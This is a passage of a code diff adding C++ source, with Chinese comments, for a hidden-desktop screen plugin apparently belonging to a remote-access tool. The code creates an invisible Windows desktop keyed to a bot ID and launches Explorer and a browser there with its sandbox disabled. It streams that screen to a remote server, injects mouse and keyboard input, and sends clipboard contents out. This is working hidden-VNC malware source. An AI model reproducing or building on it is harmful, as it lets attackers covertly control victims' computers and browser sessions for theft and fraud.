lstrcpy(path, _T("cmd.exe /c start "));
|
||||||
|
lstrcat(path, newDataPath);
|
||||||
|
|
||||||
|
lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --user-data-dir="));
|
||||||
|
|
||||||
|
STARTUPINFO startupInfo = { 0 };
|
||||||
|
startupInfo.cb = sizeof(startupInfo);
|
||||||
|
startupInfo.lpDesktop = deskName;
|
||||||
|
PROCESS_INFORMATION processInfo = { 0 };
|
||||||
|
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void CScreenHideManager::InitScreenSpy() {
|
||||||
|
HDESK hDesk = SelectDesktop((char*)m_DesktopID.c_str());
|
||||||
|
if (!hDesk) {
|
||||||
|
hDesk = CreateDesktop(m_DesktopID.c_str(), NULL, NULL, 0, GENERIC_ALL, NULL);
|
||||||
|
Mprintf("创建虚拟屏幕%s: %s\n", m_DesktopID.c_str(), hDesk ? "成功" : "失败");
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
Mprintf("打开虚拟屏幕成功: %s\n", m_DesktopID.c_str());
|
||||||
|
}
|
||||||
|
if (hDesk) {
|
||||||
|
TCHAR szExplorerFile[MAX_PATH * 2] = { 0 };
|
||||||
|
GetWindowsDirectory(szExplorerFile, MAX_PATH * 2 - 1);
|
||||||
|
strcat_s(szExplorerFile, MAX_PATH * 2 - 1, _T("\\Explorer.Exe"));
|
||||||
|
if (!IsProcessRunningInDesktop(hDesk, szExplorerFile))
|
||||||
|
{
|
||||||
|
if (!LaunchApplication(szExplorerFile, (char*)m_DesktopID.c_str())) {
|
||||||
|
Mprintf("启动资源管理器失败[%s]!!!\n", m_DesktopID.c_str());
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
Mprintf("虚拟屏幕的资源管理器已在运行[%s].\n", m_DesktopID.c_str());
|
||||||
|
}
|
||||||
|
SetThreadDesktop(g_hDesk = hDesk);
|
||||||
|
}
|
||||||
|
BYTE* param = (BYTE*)m_ptrUser;
|
||||||
|
int compress = ALGORITHM_DIFF;
|
||||||
|
if (param) {
|
||||||
|
compress = param[1];
|
||||||
|
delete[] param;
|
||||||
|
m_ptrUser = NULL;
|
||||||
|
}
|
||||||
|
m_ScreenSpyObject = new CScreenHideSpy(32, compress);
|
||||||
|
}
|
||||||
|
|
||||||
|
} // namespace SimplePluginsScreenHide
|
||||||
@@ -0,0 +1,21 @@
|
|||||||
|
#pragma once
|
||||||
|
#include "Manager.h"
|
||||||
|
|
||||||
|
#include "ScreenHideSpy.h"
|
||||||
|
#include "ScreenManagerBase.h"
|
||||||
|
|
||||||
|
namespace SimplePluginsScreenHide {
|
||||||
|
|
||||||
|
class CScreenHideManager : public CScreenManagerBase
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
CScreenHideManager(ISocketBase* pClient, int nBitDepth, void* user=NULL);
|
||||||
|
virtual ~CScreenHideManager();
|
||||||
|
|
||||||
|
void OnUserCommand(PBYTE lpBuffer, ULONG nSize);
|
||||||
|
|
||||||
|
virtual VOID OnReceive(PBYTE lpBuffer, ULONG nSize);
|
||||||
|
virtual void InitScreenSpy();
|
||||||
|
};
|
||||||
|
|
||||||
|
} // namespace SimplePluginsScreenHide
|
||||||
@@ -0,0 +1,22 @@
|
|||||||
|
#pragma once
|
||||||
|
|
||||||
|
#include "ScreenSpy.h"
|
||||||
|
|
||||||
|
namespace SimplePluginsScreenHide {
|
||||||
|
|
||||||
|
// 隐私屏幕捕获器。
|
||||||
|
//
|
||||||
|
// SimplePlugins 原版 CScreenHideSpy 基于其自带的旧 CScreenSpy/ScreenCapture 捕获链
|
||||||
|
// (jpeg + CaptureFrame/BMP_JPG/ScanChangedRect),已与 YAMA 重写后的编码器捕获层
|
||||||
|
// (ScreenCapture::GetNextScreenData + EncoderFactory)分叉,故此处改写为直接继承
|
||||||
|
// YAMA 的 ::CScreenSpy,仅把 vDesk=TRUE(虚拟桌面)传入基类,捕获/编码全部复用基类。
|
||||||
|
class CScreenHideSpy : public ::CScreenSpy
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
CScreenHideSpy(int biBitCount = 32, int algo = ALGORITHM_DIFF)
|
||||||
|
: ::CScreenSpy((ULONG)biBitCount, (BYTE)algo, TRUE /* vDesk → m_bVirtualPaint */)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
} // namespace SimplePluginsScreenHide
|
||||||
@@ -0,0 +1,642 @@
|
|||||||
|
#pragma once
|
||||||
|
|
||||||
|
#include "Manager.h"
|
||||||
|
#include "ScreenCapture.h"
|
||||||
|
#include <Shlwapi.h>
|
||||||
|
#include <ShlObj.h>
|
||||||
|
#include <tchar.h>
|
||||||
|
|
||||||
|
class IOCPClient;
|
||||||
|
|
||||||
|
namespace SimplePluginsScreenHide {
|
||||||
|
|
||||||
|
class CScreenManagerBase : public CManager {
|
||||||
|
public: // 构造和析构
|
||||||
|
CScreenManagerBase(IOCPClient* ClientObject, int nBitDepth, void* user = NULL,
|
||||||
|
int token= TOKEN_BITMAPINFO) : CManager(ClientObject)
|
||||||
|
{
|
||||||
|
m_DlgToken = token;
|
||||||
|
g_hDesk = nullptr;
|
||||||
|
m_DesktopID = GetBotId();
|
||||||
|
m_ptrUser = user;
|
||||||
|
m_ScreenSpyObject = nullptr;
|
||||||
|
m_biBitCount = nBitDepth;
|
||||||
|
m_fps = 10;
|
||||||
|
m_bIsWorking = TRUE;
|
||||||
|
m_oldwidth = ::GetSystemMetrics(SM_CXVIRTUALSCREEN);
|
||||||
|
m_oldheigh = ::GetSystemMetrics(SM_CYVIRTUALSCREEN);
|
||||||
|
m_point = {};
|
||||||
|
m_lastPoint = {};
|
||||||
|
m_lmouseDown = FALSE;
|
||||||
|
m_hResMoveWindow = nullptr;
|
||||||
|
m_resMoveType = 0;
|
||||||
|
m_rmouseDown = FALSE;
|
||||||
|
m_rclickPoint = {};
|
||||||
|
m_rclickWnd = nullptr;
|
||||||
|
m_hWorkThread = (HANDLE)__CreateThread(NULL, 0, CScreenManagerBase::WorkThreadProc, this, 0, NULL);
|
||||||
|
m_hBlankThread = (HANDLE)__CreateThread(NULL, 0, CScreenManagerBase::ControlThread, this, 0, NULL);
|
||||||
|
SetReady(TRUE);
|
||||||
|
}
|
||||||
|
virtual ~CScreenManagerBase() {
|
||||||
|
m_bIsWorking = FALSE;
|
||||||
|
WaitForSingleObject(m_hWorkThread, INFINITE);
|
||||||
|
WaitForSingleObject(m_hBlankThread, INFINITE);
|
||||||
|
CloseHandle(m_hWorkThread); m_hWorkThread = NULL;
|
||||||
|
CloseHandle(m_hBlankThread); m_hBlankThread = NULL;
|
||||||
|
|
||||||
|
SAFE_DELETE(m_ScreenSpyObject);
|
||||||
|
if (g_hDesk) {
|
||||||
|
auto b = CloseDesktop(g_hDesk);
|
||||||
|
g_hDesk = NULL;
|
||||||
|
Mprintf("关闭虚拟屏幕【%s】: %s\n", b ? "成功" : "失败", m_DesktopID.c_str());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public: // 非纯虚函数
|
||||||
|
virtual BOOL SendFirstScreen() {
|
||||||
|
ULONG len = 0;
|
||||||
|
auto data = m_ScreenSpyObject->GetFirstScreenData(&len);
|
||||||
|
if (nullptr == data) {
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
return m_ClientObject->Send2Server((char*)data, 1 + len);
|
||||||
|
}
|
||||||
|
|
||||||
|
virtual bool IsMetricsChange() {
|
||||||
|
if ((m_oldwidth != ::GetSystemMetrics(SM_CXVIRTUALSCREEN)) || (m_oldheigh != ::GetSystemMetrics(SM_CYVIRTUALSCREEN))) {
|
||||||
|
if (m_oldwidth == 0 || m_oldheigh == 0) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
m_oldwidth = ::GetSystemMetrics(SM_CXVIRTUALSCREEN);
|
||||||
|
m_oldheigh = ::GetSystemMetrics(SM_CYVIRTUALSCREEN);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
virtual void Loop_Screen() {
|
||||||
|
// 获取分辨率
|
||||||
|
int _cx = ::GetSystemMetrics(SM_CXSCREEN);
|
||||||
|
int _cy = ::GetSystemMetrics(SM_CYSCREEN);
|
||||||
|
|
||||||
|
// 修改分辨率
|
||||||
|
DEVMODE lpDevMode;
|
||||||
|
lpDevMode.dmBitsPerPel = 32;//每个像素的位数
|
||||||
|
lpDevMode.dmPelsWidth = 1600;//屏幕宽度(像素)
|
||||||
|
lpDevMode.dmPelsHeight = 900;//屏幕高度(像素)
|
||||||
|
lpDevMode.dmSize = sizeof(lpDevMode);
|
||||||
|
lpDevMode.dmFields =DM_PELSWIDTH| DM_PELSHEIGHT| DM_BITSPERPEL;
|
||||||
|
LONG result = ChangeDisplaySettings(&lpDevMode, 0);
|
||||||
|
if (result == DISP_CHANGE_SUCCESSFUL) {
|
||||||
|
ChangeDisplaySettings(&lpDevMode, CDS_UPDATEREGISTRY);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
ChangeDisplaySettings(NULL, 0);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
virtual bool IsConnect() { return m_ClientObject->IsRunning(); }
|
||||||
|
|
||||||
|
virtual int GetCurrentPixelBits() { return m_biBitCount; }
|
||||||
|
|
||||||
|
virtual LPBYTE GetNextScreen(ULONG& ulNextSendLength) {
|
||||||
|
return m_ScreenSpyObject->GetNextScreenData(&ulNextSendLength);
|
||||||
|
}
|
||||||
|
|
||||||
|
virtual VOID SendNextScreen(LPBYTE szBuffer, ULONG ulNextSendLength) {
|
||||||
|
m_ClientObject->Send2Server((char*)szBuffer, ulNextSendLength);
|
||||||
|
}
|
||||||
|
|
||||||
|
virtual void ResetScreen(int biBitCount = 32) {
|
||||||
|
InterlockedExchange((LPLONG)&m_bIsWorking, FALSE);
|
||||||
|
WaitForSingleObject(m_hWorkThread, INFINITE);
|
||||||
|
CloseHandle(m_hWorkThread);
|
||||||
|
SAFE_DELETE(m_ScreenSpyObject);
|
||||||
|
m_biBitCount = biBitCount;
|
||||||
|
m_bIsWorking = TRUE;
|
||||||
|
m_hWorkThread = (HANDLE)__CreateThread(NULL, 0, WorkThreadProc, this, 0, NULL);
|
||||||
|
}
|
||||||
|
|
||||||
|
virtual VOID UpdateClientClipboard(char* szBuffer, ULONG ulLength) {
|
||||||
|
if (!OpenClipboard(NULL))
|
||||||
|
return;
|
||||||
|
EmptyClipboard();
|
||||||
|
HGLOBAL hGlobal = (HGLOBAL)GlobalAlloc(GMEM_DDESHARE, ulLength);
|
||||||
|
if (hGlobal != NULL) {
|
||||||
|
LPTSTR szClipboardVirtualAddress = (LPTSTR)GlobalLock(hGlobal);
|
||||||
|
if (szClipboardVirtualAddress)
|
||||||
|
memcpy(szClipboardVirtualAddress, szBuffer, ulLength);
|
||||||
|
GlobalUnlock(hGlobal);
|
||||||
|
if (NULL == SetClipboardData(CF_TEXT, hGlobal))
|
||||||
|
GlobalFree(hGlobal);
|
||||||
|
}
|
||||||
|
CloseClipboard();
|
||||||
|
}
|
||||||
|
|
||||||
|
virtual VOID SendClientClipboard() {
|
||||||
|
if (!OpenClipboard(NULL)) //打开剪切板设备
|
||||||
|
return;
|
||||||
|
HGLOBAL hGlobal = (HGLOBAL)GetClipboardData(CF_TEXT); //代表着一个内存
|
||||||
|
if (hGlobal == NULL) {
|
||||||
|
CloseClipboard();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
int iPacketLength = GlobalSize(hGlobal) + 1;
|
||||||
|
char* szClipboardVirtualAddress = (LPSTR)GlobalLock(hGlobal); //锁定
|
||||||
|
LPBYTE szBuffer = new BYTE[iPacketLength];
|
||||||
|
|
||||||
|
szBuffer[0] = TOKEN_CLIPBOARD_TEXT;
|
||||||
|
memcpy(szBuffer + 1, szClipboardVirtualAddress, iPacketLength - 1);
|
||||||
|
GlobalUnlock(hGlobal);
|
||||||
|
CloseClipboard();
|
||||||
|
m_ClientObject->Send2Server((char*)szBuffer, iPacketLength);
|
||||||
|
delete[] szBuffer;
|
||||||
|
}
|
||||||
|
|
||||||
|
virtual DWORD WorkProcess() {
|
||||||
|
CScreenManagerBase* This = this;
|
||||||
|
This->InitScreenSpy();
|
||||||
|
|
||||||
|
This->SendBitMapInfo();
|
||||||
|
if (This->m_bIsWorking)
|
||||||
|
This->WaitForDialogOpen();
|
||||||
|
This->SendScreenSize();
|
||||||
|
clock_t last = clock();
|
||||||
|
if (!This->SendFirstScreen()) {
|
||||||
|
Mprintf("Send first screen failed!!!\n");
|
||||||
|
return 0x20250224;
|
||||||
|
}
|
||||||
|
Mprintf("Succeed sending bmpInfo and first screen\n");
|
||||||
|
|
||||||
|
float fps = This->m_fps;
|
||||||
|
const int sleep = 1000 / fps;// 间隔时间(ms)
|
||||||
|
int c1 = 0; // 连续耗时长的次数
|
||||||
|
int c2 = 0; // 连续耗时短的次数
|
||||||
|
int s0 = sleep; // 两帧之间隔(ms)
|
||||||
|
const int frames = fps; // 每秒调整屏幕发送速度
|
||||||
|
const double alpha = 1.1; // 控制fps的因子
|
||||||
|
timeBeginPeriod(1);
|
||||||
|
while (This->m_bIsWorking) {
|
||||||
|
ULONG ulNextSendLength = 0;
|
||||||
|
LPBYTE szBuffer = This->GetNextScreen(ulNextSendLength);
|
||||||
|
if (NULL == szBuffer) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
int span = s0 - (clock() - last);
|
||||||
|
Sleep(span > 0 ? span : 1);
|
||||||
|
if (span < 0) { // 发送数据耗时较长,网络较差或数据较多
|
||||||
|
c2 = 0;
|
||||||
|
if (frames == ++c1) { // 连续一定次数耗时长
|
||||||
|
s0 = (s0 <= 500) ? s0 * alpha : s0;
|
||||||
|
c1 = 0;
|
||||||
|
#ifdef _DEBUG
|
||||||
|
if (s0 > 40)
|
||||||
|
Mprintf("[+]SendScreen Span= %dms, s0= %d, fps= %f\n", span, s0, 1000. / s0);
|
||||||
|
#endif
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else if (span > 0) { // 发送数据耗时比s0短,表示网络较好或数据包较小
|
||||||
|
c1 = 0;
|
||||||
|
if (frames == ++c2) { // 连续一定次数耗时短
|
||||||
|
s0 = (s0 >= 40) ? s0 / alpha : s0;
|
||||||
|
c2 = 0;
|
||||||
|
#ifdef _DEBUG
|
||||||
|
if (s0 > 40)
|
||||||
|
Mprintf("[-]SendScreen Span= %dms, s0= %d, fps= %f\n", span, s0, 1000. / s0);
|
||||||
|
#endif
|
||||||
|
}
|
||||||
|
}
|
||||||
|
last = clock();
|
||||||
|
This->SendNextScreen(szBuffer, ulNextSendLength);
|
||||||
|
}
|
||||||
|
timeEndPeriod(1);
|
||||||
|
Mprintf("ScreenWorkThread Exit\n");
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
virtual DWORD ControlProcess() {
|
||||||
|
CScreenManagerBase* pThis = this;
|
||||||
|
pThis->WaitForDialogOpen();
|
||||||
|
while (pThis->IsConnect() && pThis->m_bIsWorking) {
|
||||||
|
// 分辨率大小改变了
|
||||||
|
if (pThis->IsMetricsChange() && pThis->m_bIsWorking) {
|
||||||
|
pThis->ResetScreen(pThis->GetCurrentPixelBits());
|
||||||
|
Sleep(2000);
|
||||||
|
}
|
||||||
|
Sleep(10);
|
||||||
|
}
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
static DWORD WINAPI WorkThreadProc(LPVOID lParam) {
|
||||||
|
CScreenManagerBase* pThis = (CScreenManagerBase*)lParam;
|
||||||
|
return pThis->WorkProcess();
|
||||||
|
}
|
||||||
|
|
||||||
|
static DWORD WINAPI ControlThread(LPVOID lparam) {
|
||||||
|
CScreenManagerBase* pThis = (CScreenManagerBase*)lparam;
|
||||||
|
return pThis->ControlProcess();
|
||||||
|
}
|
||||||
|
|
||||||
|
std::wstring ConvertToWString(const std::string& multiByteStr) {
|
||||||
|
int len = MultiByteToWideChar(CP_ACP, 0, multiByteStr.c_str(), -1, NULL, 0);
|
||||||
|
if (len == 0) return L""; // 转换失败
|
||||||
|
|
||||||
|
std::wstring wideStr(len, L'\0');
|
||||||
|
MultiByteToWideChar(CP_ACP, 0, multiByteStr.c_str(), -1, &wideStr[0], len);
|
||||||
|
|
||||||
|
return wideStr;
|
||||||
|
}
|
||||||
|
|
||||||
|
std::string GetTitle(HWND hWnd) {
|
||||||
|
char title[256] = { 0 }; // 预留缓冲区(置零,避免无标题/无效窗口时读到未初始化内存)
|
||||||
|
GetWindowTextA(hWnd, title, sizeof(title));
|
||||||
|
return title;
|
||||||
|
}
|
||||||
|
|
||||||
|
virtual bool LaunchApplication(TCHAR* pszApplicationFilePath, TCHAR* pszDesktopName) {
|
||||||
|
bool bReturn = false;
|
||||||
|
|
||||||
|
try {
|
||||||
|
if (!pszApplicationFilePath || !pszDesktopName || !strlen(pszApplicationFilePath) || !strlen(pszDesktopName))
|
||||||
|
return false;
|
||||||
|
|
||||||
|
TCHAR szDirectoryName[MAX_PATH * 2] = { 0 };
|
||||||
|
TCHAR szExplorerFile[MAX_PATH * 2] = { 0 };
|
||||||
|
|
||||||
|
strcpy_s(szDirectoryName, strlen(pszApplicationFilePath) + 1, pszApplicationFilePath);
|
||||||
|
|
||||||
|
std::wstring path = ConvertToWString(pszApplicationFilePath);
|
||||||
|
if (!PathIsExe(path.c_str()))
|
||||||
|
return false;
|
||||||
|
PathRemoveFileSpec(szDirectoryName);
|
||||||
|
STARTUPINFO sInfo = { 0 };
|
||||||
|
PROCESS_INFORMATION pInfo = { 0 };
|
||||||
|
|
||||||
|
sInfo.cb = sizeof(sInfo);
|
||||||
|
sInfo.lpDesktop = pszDesktopName;
|
||||||
|
|
||||||
|
//Launching a application into desktop
|
||||||
|
BOOL bCreateProcessReturn = CreateProcess(pszApplicationFilePath,
|
||||||
|
NULL,
|
||||||
|
NULL,
|
||||||
|
NULL,
|
||||||
|
TRUE,
|
||||||
|
NORMAL_PRIORITY_CLASS,
|
||||||
|
NULL,
|
||||||
|
szDirectoryName,
|
||||||
|
&sInfo,
|
||||||
|
&pInfo);
|
||||||
|
CloseHandle(pInfo.hProcess);
|
||||||
|
CloseHandle(pInfo.hThread);
|
||||||
|
TCHAR* pszError = NULL;
|
||||||
|
FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
|
||||||
|
NULL, GetLastError(), 0, reinterpret_cast<LPTSTR>(&pszError), 0, NULL);
|
||||||
|
|
||||||
|
if (pszError) {
|
||||||
|
Mprintf("CreateProcess [%s] failed: %s\n", pszApplicationFilePath, pszError);
|
||||||
|
LocalFree(pszError); // 释放内存
|
||||||
|
}
|
||||||
|
|
||||||
|
if (bCreateProcessReturn)
|
||||||
|
bReturn = true;
|
||||||
|
|
||||||
|
}
|
||||||
|
catch (...) {
|
||||||
|
bReturn = false;
|
||||||
|
}
|
||||||
|
|
||||||
|
return bReturn;
|
||||||
|
}
|
||||||
|
|
||||||
|
virtual VOID SendBitMapInfo() {
|
||||||
|
const ULONG ulLength = 1 + sizeof(BITMAPINFOHEADER);
|
||||||
|
LPBYTE szBuffer = new BYTE[ulLength];
|
||||||
|
szBuffer[0] = m_DlgToken;
|
||||||
|
memcpy(szBuffer + 1, m_ScreenSpyObject->GetBIData(), ulLength - 1);
|
||||||
|
m_ClientObject->Send2Server((char*)szBuffer, ulLength);
|
||||||
|
SAFE_DELETE_ARRAY(szBuffer);
|
||||||
|
}
|
||||||
|
|
||||||
|
virtual void SendScreenSize()
|
||||||
|
{
|
||||||
|
RECT rect = m_ScreenSpyObject->GetScreenRect();
|
||||||
|
BYTE lpBuffer[sizeof(RECT) + 1];
|
||||||
|
lpBuffer[0] = TOKEN_SCREEN_SIZE;
|
||||||
|
memcpy(lpBuffer + 1, &rect, sizeof(RECT));
|
||||||
|
Send(lpBuffer, sizeof(lpBuffer));
|
||||||
|
}
|
||||||
|
|
||||||
|
virtual VOID ProcessCommand(LPBYTE szBuffer, ULONG ulLength) {
|
||||||
|
int msgSize = sizeof(MYMSG);
|
||||||
|
if (ulLength % 28 == 0) // 32位控制端发过来的消息
|
||||||
|
msgSize = 28;
|
||||||
|
else if (ulLength % 48 == 0) // 64位控制端发过来的消息
|
||||||
|
msgSize = 48;
|
||||||
|
else return; // 数据包不合法
|
||||||
|
ULONG ulMsgCount = ulLength / msgSize;
|
||||||
|
BYTE* ptr = szBuffer;
|
||||||
|
MSG32 msg32;
|
||||||
|
MSG64 msg64;
|
||||||
|
if (nullptr == g_hDesk) {
|
||||||
|
// 命令个数
|
||||||
|
// 处理多个命令
|
||||||
|
for (int i = 0; i < ulMsgCount; ++i, ptr += msgSize) {
|
||||||
|
MYMSG* Msg = msgSize == 48 ? (MYMSG*)ptr :
|
||||||
|
(MYMSG*)msg64.Create(msg32.Create(ptr, msgSize));
|
||||||
|
switch (Msg->message) {
|
||||||
|
case WM_LBUTTONDOWN: case WM_LBUTTONUP:
|
||||||
|
case WM_RBUTTONDOWN: case WM_RBUTTONUP:
|
||||||
|
case WM_LBUTTONDBLCLK: case WM_RBUTTONDBLCLK: case WM_MBUTTONDBLCLK:
|
||||||
|
case WM_MBUTTONDOWN: case WM_MBUTTONUP:
|
||||||
|
case WM_MOUSEMOVE: {
|
||||||
|
POINT Point;
|
||||||
|
Point.x = LOWORD(Msg->lParam);
|
||||||
|
Point.y = HIWORD(Msg->lParam);
|
||||||
|
m_ScreenSpyObject->PointConversion(Point);
|
||||||
|
SetCursorPos(Point.x, Point.y);
|
||||||
|
SetCapture(WindowFromPoint(Point));
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
switch (Msg->message) {
|
||||||
|
case WM_LBUTTONDOWN:
|
||||||
|
mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0);
|
||||||
|
break;
|
||||||
|
case WM_LBUTTONUP:
|
||||||
|
mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
|
||||||
|
break;
|
||||||
|
case WM_RBUTTONDOWN:
|
||||||
|
mouse_event(MOUSEEVENTF_RIGHTDOWN, 0, 0, 0, 0);
|
||||||
|
break;
|
||||||
|
case WM_RBUTTONUP:
|
||||||
|
mouse_event(MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
|
||||||
|
break;
|
||||||
|
case WM_LBUTTONDBLCLK:
|
||||||
|
mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
|
||||||
|
mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
|
||||||
|
break;
|
||||||
|
case WM_RBUTTONDBLCLK:
|
||||||
|
mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
|
||||||
|
mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
|
||||||
|
break;
|
||||||
|
case WM_MBUTTONDBLCLK:
|
||||||
|
mouse_event(MOUSEEVENTF_MIDDLEDOWN | MOUSEEVENTF_MIDDLEUP, 0, 0, 0, 0);
|
||||||
|
mouse_event(MOUSEEVENTF_MIDDLEDOWN | MOUSEEVENTF_MIDDLEUP, 0, 0, 0, 0);
|
||||||
|
break;
|
||||||
|
case WM_MBUTTONDOWN:
|
||||||
|
mouse_event(MOUSEEVENTF_MIDDLEDOWN, 0, 0, 0, 0);
|
||||||
|
break;
|
||||||
|
case WM_MBUTTONUP:
|
||||||
|
mouse_event(MOUSEEVENTF_MIDDLEUP, 0, 0, 0, 0);
|
||||||
|
break;
|
||||||
|
case WM_MOUSEWHEEL:
|
||||||
|
mouse_event(MOUSEEVENTF_WHEEL, 0, 0, GET_WHEEL_DELTA_WPARAM(Msg->wParam), 0);
|
||||||
|
break;
|
||||||
|
case WM_KEYDOWN: case WM_SYSKEYDOWN:
|
||||||
|
keybd_event(Msg->wParam, MapVirtualKeyA(Msg->wParam, 0), 0, 0);
|
||||||
|
break;
|
||||||
|
case WM_KEYUP: case WM_SYSKEYUP:
|
||||||
|
keybd_event(Msg->wParam, MapVirtualKeyA(Msg->wParam, 0), KEYEVENTF_KEYUP, 0);
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else { // 虚拟桌面
|
||||||
|
HWND hWnd = NULL;
|
||||||
|
BOOL mouseMsg = FALSE;
|
||||||
|
POINT lastPointCopy = {};
|
||||||
|
SetThreadDesktop(g_hDesk);
|
||||||
|
for (int i = 0; i < ulMsgCount; ++i, ptr += msgSize) {
|
||||||
|
MYMSG* msg = msgSize == 48 ? (MYMSG*)ptr :
|
||||||
|
(MYMSG*)msg64.Create(msg32.Create(ptr, msgSize));
|
||||||
|
switch (msg->message) {
|
||||||
|
case WM_KEYUP:
|
||||||
|
return;
|
||||||
|
case WM_CHAR:
|
||||||
|
|
||||||
|
case WM_KEYDOWN: {
|
||||||
|
m_point = m_lastPoint;
|
||||||
|
hWnd = WindowFromPoint(m_point);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case WM_RBUTTONDOWN: {
|
||||||
|
// 记录右键按下时的坐标
|
||||||
|
m_rmouseDown = TRUE;
|
||||||
|
m_rclickPoint = msg->pt;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case WM_RBUTTONUP: {
|
||||||
|
m_rmouseDown = FALSE;
|
||||||
|
m_rclickWnd = WindowFromPoint(m_rclickPoint);
|
||||||
|
// 检查是否为系统菜单(如任务栏)
|
||||||
|
char szClass[256] = { 0 };
|
||||||
|
GetClassNameA(m_rclickWnd, szClass, sizeof(szClass));
|
||||||
|
Mprintf("Right click on '%s' %s[%p]\n", szClass, GetTitle(m_rclickWnd).c_str(), m_rclickWnd);
|
||||||
|
if (strcmp(szClass, "Shell_TrayWnd") == 0) {
|
||||||
|
// 触发系统级右键菜单(任务栏)
|
||||||
|
PostMessage(m_rclickWnd, WM_CONTEXTMENU, (WPARAM)m_rclickWnd,
|
||||||
|
MAKELPARAM(m_rclickPoint.x, m_rclickPoint.y));
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
// 普通窗口的右键菜单
|
||||||
|
if (!PostMessage(m_rclickWnd, WM_RBUTTONUP, msg->wParam,
|
||||||
|
MAKELPARAM(m_rclickPoint.x, m_rclickPoint.y))) {
|
||||||
|
// 附加:模拟键盘按下Shift+F10(备用菜单触发方式)
|
||||||
|
keybd_event(VK_SHIFT, 0, 0, 0);
|
||||||
|
keybd_event(VK_F10, 0, 0, 0);
|
||||||
|
keybd_event(VK_F10, 0, KEYEVENTF_KEYUP, 0);
|
||||||
|
keybd_event(VK_SHIFT, 0, KEYEVENTF_KEYUP, 0);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
default:
|
||||||
|
{
|
||||||
|
mouseMsg = TRUE;
|
||||||
|
m_point = msg->pt;
|
||||||
|
hWnd = WindowFromPoint(m_point);
|
||||||
|
lastPointCopy = m_lastPoint;
|
||||||
|
m_lastPoint = m_point;
|
||||||
|
if (msg->message == WM_LBUTTONUP) {
|
||||||
|
if (m_rclickWnd && hWnd != m_rclickWnd)
|
||||||
|
{
|
||||||
|
PostMessageA(m_rclickWnd, WM_LBUTTONDOWN, MK_LBUTTON, 0);
|
||||||
|
PostMessageA(m_rclickWnd, WM_LBUTTONUP, MK_LBUTTON, 0);
|
||||||
|
m_rclickWnd = nullptr;
|
||||||
|
}
|
||||||
|
m_lmouseDown = FALSE;
|
||||||
|
LRESULT lResult = SendMessageA(hWnd, WM_NCHITTEST, NULL, msg->lParam);
|
||||||
|
switch (lResult) {
|
||||||
|
case HTTRANSPARENT: {
|
||||||
|
SetWindowLongA(hWnd, GWL_STYLE, GetWindowLongA(hWnd, GWL_STYLE) | WS_DISABLED);
|
||||||
|
lResult = SendMessageA(hWnd, WM_NCHITTEST, NULL, msg->lParam);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case HTCLOSE: {// 关闭窗口
|
||||||
|
PostMessageA(hWnd, WM_CLOSE, 0, 0);
|
||||||
|
Mprintf("Close window: %s[%p]\n", GetTitle(hWnd).c_str(), hWnd);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case HTMINBUTTON: {// 最小化
|
||||||
|
PostMessageA(hWnd, WM_SYSCOMMAND, SC_MINIMIZE, 0);
|
||||||
|
Mprintf("Minsize window: %s[%p]\n", GetTitle(hWnd).c_str(), hWnd);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case HTMAXBUTTON: {// 最大化
|
||||||
|
WINDOWPLACEMENT windowPlacement;
|
||||||
|
windowPlacement.length = sizeof(windowPlacement);
|
||||||
|
GetWindowPlacement(hWnd, &windowPlacement);
|
||||||
|
if (windowPlacement.flags & SW_SHOWMAXIMIZED)
|
||||||
|
PostMessageA(hWnd, WM_SYSCOMMAND, SC_RESTORE, 0);
|
||||||
|
else
|
||||||
|
PostMessageA(hWnd, WM_SYSCOMMAND, SC_MAXIMIZE, 0);
|
||||||
|
Mprintf("Maxsize window: %s[%p]\n", GetTitle(hWnd).c_str(), hWnd);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
